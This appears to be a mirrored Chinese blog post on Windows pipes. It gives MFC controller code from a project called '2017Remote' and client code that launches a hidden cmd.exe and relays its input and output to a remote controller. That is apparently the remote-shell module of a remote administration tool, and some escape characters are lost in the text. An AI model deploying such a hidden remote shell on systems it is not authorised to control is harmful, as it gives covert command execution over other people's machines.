zoukankan      html  css  js  c++  java
  • 进程间通信---管道

    网上有大量的关于管道的理论文章,在此不再赘述,最近在做一个通信上的项目,正好用到管道-------MFC对话框和CMD之间的通信。

    主控端做成成品,做的MFC。

    主控端代码

      1 // CmdManagerDlg.cpp : 实现文件
      2 //
      3 
      4 #include "stdafx.h"
      5 #include "2017Remote.h"
      6 #include "CmdManagerDlg.h"
      7 #include "afxdialogex.h"
      8 #include "Common.h"
      9 
     10 // CmdManagerDlg 对话框
     11 
     12 IMPLEMENT_DYNAMIC(CmdManagerDlg, CDialog)
     13 
     14 CmdManagerDlg::CmdManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
     15     : CDialog(IDD_DIALOG_CMD_MANAGER, pParent)
     16 {
     17     m_IOCPServer = IOCPServer;
     18     m_ContextObject = ContextObject;
     19 
     20     m_IconHwnd = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CMD_MANAGER));
     21 }
     22 
     23 CmdManagerDlg::~CmdManagerDlg()
     24 {
     25 }
     26 
     27 void CmdManagerDlg::DoDataExchange(CDataExchange* pDX)
     28 {
     29     CDialog::DoDataExchange(pDX);
     30     DDX_Control(pDX, IDC_EDIT_CMD, m_CEdit_Cmd);
     31 }
     32 
     33 
     34 BEGIN_MESSAGE_MAP(CmdManagerDlg, CDialog)
     35     ON_WM_CLOSE()
     36     ON_WM_CTLCOLOR()
     37     ON_WM_SIZE()
     38 END_MESSAGE_MAP()
     39 
     40 
     41 // CmdManagerDlg 消息处理程序
     42 
     43 
     44 BOOL CmdManagerDlg::OnInitDialog()
     45 {
     46     CDialog::OnInitDialog();
     47     // TODO:  在此添加额外的初始化
     48     SetIcon(m_IconHwnd, FALSE);
     49     // If TRUE, the default value, the method sets a large icon. Otherwise, it sets a small icon. 
     50     CString v1;
     51     sockaddr_in  ClientAddress;
     52     memset(&ClientAddress, 0, sizeof(ClientAddress));
     53     int ClientLength = sizeof(ClientAddress);
     54     BOOL bRet = getpeername(m_ContextObject->ClientSocket, (SOCKADDR*)&ClientAddress, &ClientLength); //得到连接的ip 
     55     v1.Format("IP:%s", bRet != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
     56     SetWindowText(v1);//设置对话框标题
     57     m_uReceiveDataLength = 0;
     58     m_nCurSel = 0;
     59     BYTE bToken = CMD_MANAGER::COMMAND_CMD_CONTINUE;
     60     m_IOCPServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
     61     return TRUE;  // return TRUE unless you set the focus to a control
     62                   // 异常: OCX 属性页应返回 FALSE
     63 }
     64 
     65 
     66 void CmdManagerDlg::OnClose()
     67 {
     68     // TODO: 在此添加消息处理程序代码和/或调用默认值
     69     m_ContextObject->DlgID = 0;
     70     CancelIo((HANDLE)m_ContextObject->ClientSocket);
     71     closesocket(m_ContextObject->ClientSocket);
     72     CDialog::OnClose();
     73 }
     74 
     75 
     76 HBRUSH CmdManagerDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
     77 {
     78     HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
     79 
     80     // TODO:  在此更改 DC 的任何特性
     81     if ((pWnd->GetDlgCtrlID() == IDC_EDIT_CMD) && (nCtlColor == CTLCOLOR_EDIT))
     82     {
     83         COLORREF clr = RGB(255, 255, 255);
     84         pDC->SetTextColor(clr);   //设置白色的文本
     85         clr = RGB(0, 0, 0);
     86         pDC->SetBkColor(clr);     //设置黑色的背景
     87         return CreateSolidBrush(clr);  //作为约定,返回背景色对应的刷子句柄
     88     }
     89     else
     90     {
     91         return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
     92     }
     93     // TODO:  如果默认的不是所需画笔,则返回另一个画笔
     94     return hbr;
     95 }
     96 
     97 VOID CmdManagerDlg::OnReceiveComplete()
     98 {
     99     if (m_ContextObject == NULL)
    100     {
    101         return;
    102     }
    103     ShowData();
    104     m_uReceiveDataLength = m_CEdit_Cmd.GetWindowTextLength();
    105 }
    106 
    107 VOID CmdManagerDlg::ShowData(void)
    108 {
    109     m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1);    //接个
    110 
    111     CString     strBuffer = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer();    //获得所有数据
    112     strBuffer.Replace("
    ", "
    ");
    113 
    114     int iLength = m_CEdit_Cmd.GetWindowTextLength();//获得当前窗口的字符个数
    115 
    116     m_CEdit_Cmd.SetSel(m_nCurSel, iLength);    //此函数选中[L,R]的区域,相同则呈现条形
    117 
    118     m_CEdit_Cmd.ReplaceSel(strBuffer);    //同传递过来的数据替换掉上述位置的字符
    119 
    120     m_nCurSel = m_CEdit_Cmd.GetWindowTextLength();    //重新获得此时光标的位置
    121 }
    122 
    123 BOOL CmdManagerDlg::PreTranslateMessage(MSG* pMsg)
    124 {
    125     // TODO: 在此添加专用代码和/或调用基类
    126     if (pMsg->message == WM_KEYDOWN)
    127     {
    128         // 屏蔽VK_ESCAPE、VK_DELETE
    129         if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
    130             return true;
    131         //如果是可编辑框的回车键
    132         if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)
    133         {
    134             int iLength = m_CEdit_Cmd.GetWindowTextLength();
    135 
    136             CString    strBuffer;
    137             m_CEdit_Cmd.GetWindowText(strBuffer);
    138 
    139             strBuffer += "
    ";
    140 
    141             m_IOCPServer->OnClientPreSending(m_ContextObject, (LPBYTE)strBuffer.GetBuffer() + m_nCurSel, strBuffer.GetLength() - m_nCurSel);
    142         }
    143         // 限制VK_BACK   消到<=第一次接收到的数据时,就不能消了
    144         if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)
    145         {
    146             if (m_CEdit_Cmd.GetWindowTextLength() <= m_uReceiveDataLength)
    147                 return true;
    148         }
    149     }
    150     return CDialog::PreTranslateMessage(pMsg);
    151 }
    152 
    153 VOID CmdManagerDlg::ResizeEdit(void)
    154 {
    155     if (m_CEdit_Cmd.m_hWnd == NULL)
    156     {
    157         return;
    158     }
    159     RECT    rectClient;
    160     RECT    rectEdit;
    161     GetClientRect(&rectClient);
    162     rectEdit.left = 0;
    163     rectEdit.top = 0;
    164     rectEdit.right = rectClient.right;
    165     rectEdit.bottom = rectClient.bottom;
    166     m_CEdit_Cmd.MoveWindow(&rectEdit);
    167 }
    168 void CmdManagerDlg::OnSize(UINT nType, int cx, int cy)
    169 {
    170     CDialog::OnSize(nType, cx, cy);
    171 
    172     // TODO: 在此处添加消息处理程序代码
    173     ResizeEdit();
    174 }
    View Code

    客户端代码

      1 #include "CmdManager.h"
      2 #include "Common.h"
      3 CmdManager::CmdManager(IOCPClient* ClientObject) :Manager(ClientObject)
      4 {
      5     SECURITY_ATTRIBUTES  sa = { 0 };
      6     sa.nLength = sizeof(sa);
      7     sa.lpSecurityDescriptor = NULL;
      8     sa.bInheritHandle = TRUE;     //重要  
      9     //cmd可以继承handle
     10     m_ReadHandle1 = NULL;       //Client
     11     m_WriteHandle1 = NULL;       //Client
     12     m_ReadHandle2 = NULL;       //Cmd
     13     m_WriteHandle2 = NULL;       //Cmd
     14     //创建管道
     15     if (!CreatePipe(&m_ReadHandle1, &m_WriteHandle2, &sa, 0))
     16     {
     17         if (m_ReadHandle1 != NULL)
     18         {
     19             CloseHandle(m_ReadHandle1);
     20         }
     21         if (m_WriteHandle2 != NULL)
     22         {
     23             CloseHandle(m_WriteHandle2);
     24         }
     25         return;
     26     }
     27 
     28     if (!CreatePipe(&m_ReadHandle2, &m_WriteHandle1, &sa, 0))
     29     {
     30         if (m_WriteHandle1 != NULL)
     31         {
     32             CloseHandle(m_WriteHandle1);
     33         }
     34         if (m_ReadHandle2 != NULL)
     35         {
     36             CloseHandle(m_ReadHandle2);
     37         }
     38         return;
     39     }
     40     
     41     char szCmdFullPath[MAX_PATH] = { 0 };
     42     GetSystemDirectory(szCmdFullPath, MAX_PATH);
     43     //C:windowssystem32
     44     strcat(szCmdFullPath, "\cmd.exe");
     45     //C:windowssystem32cmd.exe
     46     STARTUPINFO          si = { 0 };
     47     // is used with the CreateProcess function to specify main window properties if a new window is created for the new process
     48     PROCESS_INFORMATION  pi = { 0 };    //CreateProcess
     49 
     50     memset((void *)&si, 0, sizeof(si));
     51     memset((void *)&pi, 0, sizeof(pi));
     52 
     53     si.cb = sizeof(STARTUPINFO);  
     54 
     55     si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
     56     si.hStdInput = m_ReadHandle2;                           //将管道数据向Cmd赋值
     57     si.hStdOutput = si.hStdError = m_WriteHandle2;
     58 
     59     si.wShowWindow = SW_HIDE;   //窗口隐藏
     60 
     61     //创建新的进程
     62     if (!CreateProcess(szCmdFullPath, NULL, NULL, NULL, TRUE,
     63         NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
     64     {
     65         CloseHandle(m_ReadHandle1);
     66         CloseHandle(m_WriteHandle1);
     67         CloseHandle(m_ReadHandle2);
     68         CloseHandle(m_WriteHandle2);
     69         return;
     70     }
     71 
     72     //保存Cmd进程的进程句柄和主线程句柄
     73     m_CmdProcessHandle = pi.hProcess;   
     74     m_CmdThreadHandle = pi.hThread;
     75 
     76     BYTE    bToken = CMD_MANAGER::COMMAND_CMD_MANAGER_REPLY;            //包含头文件 Common.h     
     77     m_ClientObject->OnServerSending((char*)&bToken, 1);
     78 
     79     WaitForDialogOpen();
     80 
     81     m_bStarting = TRUE;
     82     m_ThreadHandle = CreateThread(NULL, 0,
     83         (LPTHREAD_START_ROUTINE)ReadCallBack, (LPVOID)this, 0, NULL);   //Client 读取管道数据  
     84 }
     85 
     86 CmdManager::~CmdManager()
     87 {
     88     m_bStarting = FALSE;
     89 
     90     TerminateThread(m_CmdThreadHandle, 0);     //结束我们自己创建的Cmd线程
     91     TerminateProcess(m_CmdProcessHandle, 0);   //结束我们自己创建的Cmd进程
     92 
     93     Sleep(100);
     94 
     95     if (m_ReadHandle1 != NULL)
     96     {
     97         DisconnectNamedPipe(m_ReadHandle1);
     98         CloseHandle(m_ReadHandle1);
     99         m_ReadHandle1 = NULL;
    100     }
    101     if (m_WriteHandle1 != NULL)
    102     {
    103         DisconnectNamedPipe(m_WriteHandle1);
    104         CloseHandle(m_WriteHandle1);
    105         m_WriteHandle1 = NULL;
    106     }
    107     if (m_ReadHandle2 != NULL)
    108     {
    109         DisconnectNamedPipe(m_ReadHandle2);
    110         CloseHandle(m_ReadHandle2);
    111         m_ReadHandle2 = NULL;
    112     }
    113     if (m_WriteHandle2 != NULL)
    114     {
    115         DisconnectNamedPipe(m_WriteHandle2);
    116         CloseHandle(m_WriteHandle2);
    117         m_WriteHandle2 = NULL;
    118     }
    119 }
    120 
    121 DWORD WINAPI CmdManager::ReadCallBack(LPVOID lParam)
    122 {
    123     CmdManager    *Manager = (CmdManager*)lParam;
    124     char szBuffer[0x400] = { 0 };
    125     DWORD    dwReturn = 0;
    126     DWORD    dwTotal = 0;
    127     while (Manager->m_bStarting)
    128     {
    129         Sleep(100);
    130         //R1是cmd回传的数据
    131         while (PeekNamedPipe(Manager->m_ReadHandle1,
    132             szBuffer,sizeof(szBuffer),&dwReturn,&dwTotal,NULL))
    133         {
    134             if (dwReturn <= 0)
    135             {
    136                 break;
    137             }
    138             memset(szBuffer, 0, sizeof(szBuffer));
    139             LPBYTE    szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
    140             //读取管道数据
    141             ReadFile(Manager->m_ReadHandle1,
    142                 szTotalBuffer, dwTotal, &dwTotal, NULL);
    143 
    144             Manager->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwTotal);
    145             LocalFree(szTotalBuffer);
    146         }
    147     }
    148     cout << "ReadPipe线程退出" << endl;
    149     return 0;
    150 }
    151 //在某个部位调用,在这不予显示
    152 VOID CmdManager::OnReceive(PBYTE szBuffer, ULONG ulBufferLength)
    153 {
    154     switch (szBuffer[0])
    155     {
    156     case CMD_MANAGER::COMMAND_CMD_CONTINUE:
    157     {
    158         NotifyDialogIsOpen();
    159         break;
    160     }
    161     default:
    162         unsigned long ulReturnLength = 0;
    163         if (WriteFile(m_WriteHandle1, szBuffer, ulBufferLength, &ulReturnLength, NULL))
    164         {
    165             //写入管道中
    166         }
    167         break;
    168     }
    169 }
    View Code
  • 相关阅读:
    hdu 4027 Can you answer these queries?
    hdu 4041 Eliminate Witches!
    hdu 4036 Rolling Hongshu
    pku 2828 Buy Tickets
    hdu 4016 Magic Bitwise And Operation
    pku2886 Who Gets the Most Candies?(线段树+反素数打表)
    hdu 4039 The Social Network
    hdu 4023 Game
    苹果官方指南:Cocoa框架(2)(非原创)
    cocos2d 中 CCNode and CCAction
  • 原文地址:https://www.cnblogs.com/littlepear/p/6402175.html
Copyright © 2011-2022 走看看